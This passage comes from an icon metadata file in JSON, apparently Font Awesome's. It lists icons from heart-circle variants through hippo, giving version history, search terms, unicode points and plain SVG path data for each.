        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e501",
    "label": "Heart Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "heart-crack": {
    "aliases": {
      "names": ["heart-broken"],
      "unicodes": {
        "composite": ["1f494"],
        "secondary": ["10f7a9"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "break",
        "breakup",
        "broken",
        "broken heart",
        "crushed",
        "dislike",
        "dumped",
        "grief",
        "love",
        "lovesick",
        "relationship",
        "sad"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a9",
    "label": "Heart Crack",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M119.4 44.1c23.3-3.9 46.8-1.9 68.6 5.3l49.8 77.5-75.4 75.4c-1.5 1.5-2.4 3.6-2.3 5.8s1 4.2 2.6 5.7l112 104c2.9 2.7 7.4 2.9 10.5 .3s3.8-7 1.7-10.4l-60.4-98.1 90.7-75.6c2.6-2.1 3.5-5.7 2.4-8.8L296.8 61.8c28.5-16.7 62.4-23.2 95.7-17.6C461.5 55.6 512 115.2 512 185.1v5.8c0 41.5-17.2 81.2-47.6 109.5L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9L47.6 300.4C17.2 272.1 0 232.4 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M119.4 44.1c23.3-3.9 46.8-1.9 68.6 5.3l49.8 77.5-75.4 75.4c-1.5 1.5-2.4 3.6-2.3 5.8s1 4.2 2.6 5.7l112 104c2.9 2.7 7.4 2.9 10.5 .3s3.8-7 1.7-10.4l-60.4-98.1 90.7-75.6c2.6-2.1 3.5-5.7 2.4-8.8L296.8 61.8c28.5-16.7 62.4-23.2 95.7-17.6C461.5 55.6 512 115.2 512 185.1v5.8c0 41.5-17.2 81.2-47.6 109.5L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9L47.6 300.4C17.2 272.1 0 232.4 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141z"
      }
    },
    "free": ["solid"]
  },
  "heart-pulse": {
    "aliases": {
      "names": ["heartbeat"],
      "unicodes": {
        "secondary": ["10f21e"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ekg", "electrocardiogram", "health", "lifeline", "vital signs"]
    },
    "styles": ["solid"],
    "unicode": "f21e",
    "label": "Heart Pulse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M228.3 469.1L47.6 300.4c-4.2-3.9-8.2-8.1-11.9-12.4h87c22.6 0 43-13.6 51.7-34.5l10.5-25.2 49.3 109.5c3.8 8.5 12.1 14 21.4 14.1s17.8-5 22-13.3L320 253.7l1.7 3.4c9.5 19 28.9 31 50.1 31H476.3c-3.7 4.3-7.7 8.5-11.9 12.4L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9zM503.7 240h-132c-3 0-5.8-1.7-7.2-4.4l-23.2-46.3c-4.1-8.1-12.4-13.3-21.5-13.3s-17.4 5.1-21.5 13.3l-41.4 82.8L205.9 158.2c-3.9-8.7-12.7-14.3-22.2-14.1s-18.1 5.9-21.8 14.8l-31.8 76.3c-1.2 3-4.2 4.9-7.4 4.9H16c-2.6 0-5 .4-7.3 1.1C3 225.2 0 208.2 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141C165 36.5 211.4 51.4 244 84l12 12 12-12c32.6-32.6 79-47.5 124.6-39.9C461.5 55.6 512 115.2 512 185.1v5.8c0 16.9-2.8 33.5-8.3 49.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M228.3 469.1L47.6 300.4c-4.2-3.9-8.2-8.1-11.9-12.4h87c22.6 0 43-13.6 51.7-34.5l10.5-25.2 49.3 109.5c3.8 8.5 12.1 14 21.4 14.1s17.8-5 22-13.3L320 253.7l1.7 3.4c9.5 19 28.9 31 50.1 31H476.3c-3.7 4.3-7.7 8.5-11.9 12.4L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9zM503.7 240h-132c-3 0-5.8-1.7-7.2-4.4l-23.2-46.3c-4.1-8.1-12.4-13.3-21.5-13.3s-17.4 5.1-21.5 13.3l-41.4 82.8L205.9 158.2c-3.9-8.7-12.7-14.3-22.2-14.1s-18.1 5.9-21.8 14.8l-31.8 76.3c-1.2 3-4.2 4.9-7.4 4.9H16c-2.6 0-5 .4-7.3 1.1C3 225.2 0 208.2 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141C165 36.5 211.4 51.4 244 84l12 12 12-12c32.6-32.6 79-47.5 124.6-39.9C461.5 55.6 512 115.2 512 185.1v5.8c0 16.9-2.8 33.5-8.3 49.1z"
      }
    },
    "free": ["solid"]
  },
  "helicopter": {
    "aliases": {
      "unicodes": {
        "composite": ["1f681"],
        "secondary": ["10f533"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airwolf",
        "apache",
        "chopper",
        "flight",
        "fly",
        "helicopter",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f533",
    "label": "Helicopter",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 32c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H384v64h32c88.4 0 160 71.6 160 160v64c0 17.7-14.3 32-32 32H384 320c-20.1 0-39.1-9.5-51.2-25.6l-71.4-95.2c-3.5-4.7-8.3-8.3-13.7-10.5L47.2 198.1c-9.5-3.8-16.7-12-19.2-22L5 83.9C2.4 73.8 10.1 64 20.5 64H48c10.1 0 19.6 4.7 25.6 12.8L112 128H320V64H160c-17.7 0-32-14.3-32-32zM384 320H512V288c0-53-43-96-96-96H384V320zM630.6 425.4c12.5 12.5 12.5 32.8 0 45.3l-3.9 3.9c-24 24-56.6 37.5-90.5 37.5H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H536.2c17 0 33.3-6.7 45.3-18.7l3.9-3.9c12.5-12.5 32.8-12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 32c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H384v64h32c88.4 0 160 71.6 160 160v64c0 17.7-14.3 32-32 32H384 320c-20.1 0-39.1-9.5-51.2-25.6l-71.4-95.2c-3.5-4.7-8.3-8.3-13.7-10.5L47.2 198.1c-9.5-3.8-16.7-12-19.2-22L5 83.9C2.4 73.8 10.1 64 20.5 64H48c10.1 0 19.6 4.7 25.6 12.8L112 128H320V64H160c-17.7 0-32-14.3-32-32zM384 320H512V288c0-53-43-96-96-96H384V320zM630.6 425.4c12.5 12.5 12.5 32.8 0 45.3l-3.9 3.9c-24 24-56.6 37.5-90.5 37.5H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H536.2c17 0 33.3-6.7 45.3-18.7l3.9-3.9c12.5-12.5 32.8-12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "helicopter-symbol": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chopper", "helicopter", "landing pad", "whirlybird"]
    },
    "styles": ["solid"],
    "unicode": "e502",
    "label": "Helicopter Symbol",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M445.3 224H510C495.6 108.2 403.8 16.4 288 2V66.7C368.4 80.1 431.9 143.6 445.3 224zM510 288H445.3C431.9 368.4 368.4 431.9 288 445.4V510c115.8-14.4 207.6-106.2 222-222zM2 288C16.4 403.8 108.2 495.6 224 510V445.4C143.6 431.9 80.1 368.4 66.7 288H2zm0-64H66.7C80.1 143.6 143.6 80.1 224 66.7V2C108.2 16.4 16.4 108.2 2 224zm206-64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 17.7 14.3 32 32 32s32-14.3 32-32V288h96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H208V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M445.3 224H510C495.6 108.2 403.8 16.4 288 2V66.7C368.4 80.1 431.9 143.6 445.3 224zM510 288H445.3C431.9 368.4 368.4 431.9 288 445.4V510c115.8-14.4 207.6-106.2 222-222zM2 288C16.4 403.8 108.2 495.6 224 510V445.4C143.6 431.9 80.1 368.4 66.7 288H2zm0-64H66.7C80.1 143.6 143.6 80.1 224 66.7V2C108.2 16.4 16.4 108.2 2 224zm206-64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 17.7 14.3 32 32 32s32-14.3 32-32V288h96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H208V160z"
      }
    },
    "free": ["solid"]
  },
  "helmet-safety": {
    "aliases": {
      "names": ["hard-hat", "hat-hard"],
      "unicodes": {
        "secondary": ["10f807"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["construction", "hardhat", "helmet", "safety"]
    },
    "styles": ["solid"],
    "unicode": "f807",
    "label": "Helmet Safety",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 32c-17.7 0-32 14.3-32 32v2.3 99.6c0 5.6-4.5 10.1-10.1 10.1c-3.6 0-7-1.9-8.8-5.1L157.1 87C83 123.5 32 199.8 32 288v64H544l0-66.4c-.9-87.2-51.7-162.4-125.1-198.6l-48 83.9c-1.8 3.2-5.2 5.1-8.8 5.1c-5.6 0-10.1-4.5-10.1-10.1V66.3 64c0-17.7-14.3-32-32-32H256zM16.6 384C7.4 384 0 391.4 0 400.6c0 4.7 2 9.2 5.8 11.9C27.5 428.4 111.8 480 288 480s260.5-51.6 282.2-67.5c3.8-2.8 5.8-7.2 5.8-11.9c0-9.2-7.4-16.6-16.6-16.6H16.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 32c-17.7 0-32 14.3-32 32v2.3 99.6c0 5.6-4.5 10.1-10.1 10.1c-3.6 0-7-1.9-8.8-5.1L157.1 87C83 123.5 32 199.8 32 288v64H544l0-66.4c-.9-87.2-51.7-162.4-125.1-198.6l-48 83.9c-1.8 3.2-5.2 5.1-8.8 5.1c-5.6 0-10.1-4.5-10.1-10.1V66.3 64c0-17.7-14.3-32-32-32H256zM16.6 384C7.4 384 0 391.4 0 400.6c0 4.7 2 9.2 5.8 11.9C27.5 428.4 111.8 480 288 480s260.5-51.6 282.2-67.5c3.8-2.8 5.8-7.2 5.8-11.9c0-9.2-7.4-16.6-16.6-16.6H16.6z"
      }
    },
    "free": ["solid"]
  },
  "helmet-un": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["helmet", "united nations"]
    },
    "styles": ["solid"],
    "unicode": "e503",
    "label": "Helmet Un",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M479.5 224C471.2 98.9 367.2 0 240 0C107.5 0 0 107.5 0 240v56.3C0 344.8 39.2 384 87.7 384H200h14.9L343.5 505.4c4.5 4.2 10.4 6.6 16.5 6.6h96c13.3 0 24-10.7 24-24s-10.7-24-24-24H369.5l-1.5-1.5V288h80 32c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.5zM320 417.2l-78-73.7L274.4 288H320V417.2zM285.3 103.1l34.7 52V112c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V208c0 8.8-7.2 16-16 16s-16-7.2-16-16V112c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM160 112v64c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V112c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M479.5 224C471.2 98.9 367.2 0 240 0C107.5 0 0 107.5 0 240v56.3C0 344.8 39.2 384 87.7 384H200h14.9L343.5 505.4c4.5 4.2 10.4 6.6 16.5 6.6h96c13.3 0 24-10.7 24-24s-10.7-24-24-24H369.5l-1.5-1.5V288h80 32c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.5zM320 417.2l-78-73.7L274.4 288H320V417.2zM285.3 103.1l34.7 52V112c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V208c0 8.8-7.2 16-16 16s-16-7.2-16-16V112c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM160 112v64c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V112c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "highlighter": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f591"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "marker", "sharpie", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f591",
    "label": "Highlighter",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M315 315l158.4-215L444.1 70.6 229 229 315 315zm-187 5l0 0V248.3c0-15.3 7.2-29.6 19.5-38.6L420.6 8.4C428 2.9 437 0 446.2 0c11.4 0 22.4 4.5 30.5 12.6l54.8 54.8c8.1 8.1 12.6 19 12.6 30.5c0 9.2-2.9 18.2-8.4 25.6L334.4 396.5c-9 12.3-23.4 19.5-38.6 19.5H224l-25.4 25.4c-12.5 12.5-32.8 12.5-45.3 0l-50.7-50.7c-12.5-12.5-12.5-32.8 0-45.3L128 320zM7 466.3l63-63 70.6 70.6-31 31c-4.5 4.5-10.6 7-17 7H24c-13.3 0-24-10.7-24-24v-4.7c0-6.4 2.5-12.5 7-17z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M315 315l158.4-215L444.1 70.6 229 229 315 315zm-187 5l0 0V248.3c0-15.3 7.2-29.6 19.5-38.6L420.6 8.4C428 2.9 437 0 446.2 0c11.4 0 22.4 4.5 30.5 12.6l54.8 54.8c8.1 8.1 12.6 19 12.6 30.5c0 9.2-2.9 18.2-8.4 25.6L334.4 396.5c-9 12.3-23.4 19.5-38.6 19.5H224l-25.4 25.4c-12.5 12.5-32.8 12.5-45.3 0l-50.7-50.7c-12.5-12.5-12.5-32.8 0-45.3L128 320zM7 466.3l63-63 70.6 70.6-31 31c-4.5 4.5-10.6 7-17 7H24c-13.3 0-24-10.7-24-24v-4.7c0-6.4 2.5-12.5 7-17z"
      }
    },
    "free": ["solid"]
  },
  "hill-avalanche": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mudslide", "snow", "winter"]
    },
    "styles": ["solid"],
    "unicode": "e507",
    "label": "Hill Avalanche",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M439.7 401.9c34.2 23.1 81.1 19.5 111.4-10.8c34.4-34.4 34.4-90.1 0-124.4c-27.8-27.8-69.5-33.1-102.6-16c-11.8 6.1-16.4 20.6-10.3 32.3s20.6 16.4 32.3 10.3c15.1-7.8 34-5.3 46.6 7.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-81.7-81.7C401.2 261.3 416 236.4 416 208c0-33.9-21.1-62.9-50.9-74.5c1.9-6.8 2.9-14 2.9-21.5c0-44.2-35.8-80-80-80c-27.3 0-51.5 13.7-65.9 34.6C216.3 46.6 197.9 32 176 32c-26.5 0-48 21.5-48 48c0 4 .5 7.9 1.4 11.6L439.7 401.9zM480 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M439.7 401.9c34.2 23.1 81.1 19.5 111.4-10.8c34.4-34.4 34.4-90.1 0-124.4c-27.8-27.8-69.5-33.1-102.6-16c-11.8 6.1-16.4 20.6-10.3 32.3s20.6 16.4 32.3 10.3c15.1-7.8 34-5.3 46.6 7.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-81.7-81.7C401.2 261.3 416 236.4 416 208c0-33.9-21.1-62.9-50.9-74.5c1.9-6.8 2.9-14 2.9-21.5c0-44.2-35.8-80-80-80c-27.3 0-51.5 13.7-65.9 34.6C216.3 46.6 197.9 32 176 32c-26.5 0-48 21.5-48 48c0 4 .5 7.9 1.4 11.6L439.7 401.9zM480 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87z"
      }
    },
    "free": ["solid"]
  },
  "hill-rockslide": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mudslide"]
    },
    "styles": ["solid"],
    "unicode": "e508",
    "label": "Hill Rockslide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M252.4 103.8l27 48c2.8 5 8.2 8.2 13.9 8.2l53.3 0c5.8 0 11.1-3.1 13.9-8.2l27-48c2.7-4.9 2.7-10.8 0-15.7l-27-48c-2.8-5-8.2-8.2-13.9-8.2H293.4c-5.8 0-11.1 3.1-13.9 8.2l-27 48c-2.7 4.9-2.7 10.8 0 15.7zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87zM504.2 403.6c4.9 2.7 10.8 2.7 15.7 0l48-27c5-2.8 8.2-8.2 8.2-13.9V309.4c0-5.8-3.1-11.1-8.2-13.9l-48-27c-4.9-2.7-10.8-2.7-15.7 0l-48 27c-5 2.8-8.2 8.2-8.2 13.9v53.3c0 5.8 3.1 11.1 8.2 13.9l48 27zM192 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M252.4 103.8l27 48c2.8 5 8.2 8.2 13.9 8.2l53.3 0c5.8 0 11.1-3.1 13.9-8.2l27-48c2.7-4.9 2.7-10.8 0-15.7l-27-48c-2.8-5-8.2-8.2-13.9-8.2H293.4c-5.8 0-11.1 3.1-13.9 8.2l-27 48c-2.7 4.9-2.7 10.8 0 15.7zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87zM504.2 403.6c4.9 2.7 10.8 2.7 15.7 0l48-27c5-2.8 8.2-8.2 8.2-13.9V309.4c0-5.8-3.1-11.1-8.2-13.9l-48-27c-4.9-2.7-10.8-2.7-15.7 0l-48 27c-5 2.8-8.2 8.2-8.2 13.9v53.3c0 5.8 3.1 11.1 8.2 13.9l48 27zM192 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "hippo": {
    "aliases": {
      "unicodes": {
        "composite": ["1f99b"],
        "secondary": ["10f6ed"]
      }
    },
    "changes": [
      "5.4.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["animal", "fauna", "hippo", "hippopotamus", "hungry", "mammal"]
    },
    "styles": ["solid"],
    "unicode": "f6ed",
    "label": "Hippo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M407 47c9.4-9.4 24.6-9.4 33.9 0l17.2 17.2c1.9-.1 3.9-.2 5.8-.2h32c11.2 0 21.9 2.3 31.6 6.5L543 55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L564 101.9c7.6 12.2 12 26.7 12 42.1c0 10.2 7.4 18.8 16.7 23c27.9 12.5 47.3 40.5 47.3 73c0 26.2-12.6 49.4-32 64v32c0 8.8-7.2 16-16 16H560c-8.8 0-16-7.2-16-16V320H480v16c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V318.4c-11.8-2.4-22.7-7.4-32-14.4c-1.5-1.1-2.9-2.3-4.3-3.5c-17-14.7-27.7-36.4-27.7-60.5c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 44.7 26.2 83.2 64 101.2V352c0 17.7 14.3 32 32 32h32v64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V372c-19.8 7.7-41.4 12-64 12s-44.2-4.3-64-12v76c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V329.1L45.9 369.7c-5.4 12.1-19.6 17.6-31.7 12.2S-3.3 362.4 2.1 350.3L24 300.9c5.3-11.9 8-24.7 8-37.7C32 155.7 117.2 68 223.8 64.1l.2-.1h7.2H256h32c41.7 0 83.4 12.1 117.2 25.7c1.7-1.8 3.5-3.6 5.3-5.2L407 81c-9.4-9.4-9.4-24.6 0-33.9zm73 185a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm88 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM480 144a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M407 47c9.4-9.4 24.6-9.4 33.9 0l17.2 17.2c1.9-.1 3.9-.2 5.8-.2h32c11.2 0 21.9 2.3 31.6 6.5L543 55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L564 101.9c7.6 12.2 12 26.7 12 42.1c0 10.2 7.4 18.8 16.7 23c27.9 12.5 47.3 40.5 47.3 73c0 26.2-12.6 49.4-32 64v32c0 8.8-7.2 16-16 16H560c-8.8 0-16-7.2-16-16V320H480v16c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V318.4c-11.8-2.4-22.7-7.4-32-14.4c-1.5-1.1-2.9-2.3-4.3-3.5c-17-14.7-27.7-36.4-27.7-60.5c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 44.7 26.2 83.2 64 101.2V352c0 17.7 14.3 32 32 32h32v64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V372c-19.8 7.7-41.4 12-64 12s-44.2-4.3-64-12v76c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V329.1L45.9 369.7c-5.4 12.1-19.6 17.6-31.7 12.2S-3.3 362.4 2.1 350.3L24 300.9c5.3-11.9 8-24.7 8-37.7C32 155.7 117.2 68 223.8 64.1l.2-.1h7.2H256h32c41.7 0 83.4 12.1 117.2 25.7c1.7-1.8 3.5-3.6 5.3-5.2L407 